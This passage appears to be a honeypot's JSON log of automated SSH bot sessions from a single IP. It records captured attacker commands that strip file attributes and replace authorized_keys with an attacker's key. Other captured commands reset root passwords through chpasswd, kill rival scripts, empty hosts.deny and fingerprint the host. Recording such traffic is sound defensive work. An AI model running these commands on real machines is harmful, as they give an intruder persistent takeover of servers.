4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:28:50.639746+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:28:51.309169+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:28:51.855218+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:28:52.261050+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:28:52.814993+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:28:53.194899+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:28:53.751909+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:28:55.135254+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:28:55.685479+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:28:56.946872+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Kumar@123","method":"password","accepted":true,"tier":"other"}]} {"id":"04d8d87e-c675-4844-aef2-717c1814d070","name":"painted-canny-curlew","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":35508,"username":"kevin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":525,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:25:58.561111+00:00","ended_at":"2026-08-26T17:26:00.154051+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-26T17:25:36.150998+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:25:36.673402+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:25:41.944697+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:25:42.745664+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:25:43.267240+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kevin@123\\n3JkD7T0LwJZL\\n3JkD7T0LwJZL\"|passwd|bash"},{"seq":6,"at":"2026-08-26T17:25:43.791514+00:00","kind":"input","latency_ms":null,"data":"echo \"kevin@123\\n3JkD7T0LwJZL\\n3JkD7T0LwJZL\\n\"|passwd"},{"seq":7,"at":"2026-08-26T17:25:44.314343+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:25:44.967342+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:25:45.490992+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:25:46.479343+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:25:47.006682+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:25:47.891734+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:25:48.421168+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:25:48.738231+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:25:49.264692+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:25:49.756100+00:00","kind":"output","latency_ms":null,"data":" 17:25:49 up 6 days, 14:15, 0 user, load average: 0.23, 0.26, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:25:50.279160+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:25:50.549114+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:25:51.071079+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:25:51.651520+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:25:52.179870+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:25:52.859566+00:00","kind":"output","latency_ms":null,"data":"top - 17:25:52 up 6 days, 14:15, 0 user, load average: 0.23, 0.26, 0.18\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:25:53.385059+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:25:53.765862+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:25:54.291460+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:25:55.183554+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:25:55.710968+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:25:56.138291+00:00","kind":"output","latency_ms":null,"data":"kevin"},{"seq":29,"at":"2026-08-26T17:25:56.662753+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:25:58.033150+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:25:58.561796+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:25:59.985353+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kevin","password":"kevin@123","method":"password","accepted":true,"tier":"other"}]} {"id":"4218c19a-437a-497c-96ad-c76533e859b1","name":"lawful-sturdy-serval","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":45024,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":526,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:23:07.545343+00:00","ended_at":"2026-08-26T17:23:08.968897+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:22:45.208940+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:22:45.732197+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:22:50.943336+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:22:51.301465+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:22:51.849523+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2roi3jY8Zi6F\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:22:52.376762+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:22:52.899692+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:22:53.259733+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:22:53.783164+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:22:55.126163+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:22:55.654059+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:22:56.930454+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:22:57.460816+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:22:58.026958+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:22:58.553928+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:22:58.856586+00:00","kind":"output","latency_ms":null,"data":" 17:22:58 up 6 days, 14:13, 0 user, load average: 0.33, 0.39, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:22:59.378851+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:23:00.022274+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:23:00.545603+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:23:01.220192+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:23:01.751800+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:23:02.079096+00:00","kind":"output","latency_ms":null,"data":"top - 17:23:02 up 6 days, 14:13, 0 user, load average: 0.33, 0.39, 0.26\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:23:02.606651+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:23:03.178320+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:23:03.699578+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:23:04.477774+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:23:05.007079+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:23:05.625830+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:23:06.149668+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:23:07.023011+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:23:07.546241+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:23:08.802118+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Asd12345@","method":"password","accepted":true,"tier":"other"}]} {"id":"2092c945-ba1d-4b8d-91c9-6ad647fcdf48","name":"faded-jolly-redshank","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":44208,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":539,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:20:13.004124+00:00","ended_at":"2026-08-26T17:20:14.511849+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:19:49.706300+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:19:50.231612+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:19:55.866211+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:19:56.441106+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:19:56.980769+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YWDfdJwKikQ3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:19:57.512883+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:19:58.046048+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:19:58.862661+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:19:59.402042+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:20:00.389821+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:20:00.922903+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:20:01.742243+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:20:02.284299+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:20:03.170917+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:20:03.708945+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:20:04.589133+00:00","kind":"output","latency_ms":null,"data":" 17:20:04 up 6 days, 14:10, 0 user, load average: 0.35, 0.26, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:20:05.129058+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:20:05.630732+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:20:06.172469+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:20:06.471057+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:20:07.005727+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:20:07.691024+00:00","kind":"output","latency_ms":null,"data":"top - 17:20:07 up 6 days, 14:10, 0 user, load average: 0.35, 0.26, 0.24\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:20:08.234101+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:20:09.016855+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:20:09.566410+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:20:09.881455+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:20:10.416149+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:20:10.740159+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:20:11.277107+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:20:12.464204+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:20:13.004856+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:20:14.346061+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"test1","method":"password","accepted":true,"tier":"other"}]} {"id":"44c50a88-9dbd-49f3-b57a-76d64fdc0a5d","name":"genial-mighty-cormorant","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":50650,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":551,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:17:22.479193+00:00","ended_at":"2026-08-26T17:17:23.573581+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T17:16:59.563767+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:17:00.109150+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:17:05.206527+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:17:05.480832+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:17:06.028574+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XEHUb9s6KTZW\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:17:06.583530+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:17:07.137232+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:17:07.563929+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:17:08.110830+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:17:09.518866+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:17:10.073190+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:17:11.461929+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:17:12.013900+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:17:12.384958+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:17:12.938716+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:17:13.374095+00:00","kind":"output","latency_ms":null,"data":" 17:17:13 up 6 days, 14:07, 0 user, load average: 0.16, 0.18, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:17:13.929276+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:17:14.412300+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:17:14.965899+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:17:15.703502+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:17:16.249967+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:17:17.064858+00:00","kind":"output","latency_ms":null,"data":"top - 17:17:17 up 6 days, 14:07, 0 user, load average: 0.16, 0.18, 0.1\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:17:17.624923+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:17:17.899183+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:17:18.448417+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:17:18.978772+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:17:19.534429+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:17:20.201955+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:17:20.750833+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:17:21.934058+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:17:22.480350+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:17:23.404513+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"$RFVcde3","method":"password","accepted":true,"tier":"other"}]} {"id":"67ee518b-6e71-49b1-afcc-a116e782369c","name":"brazen-wry-hoopoe","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":37428,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":527,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 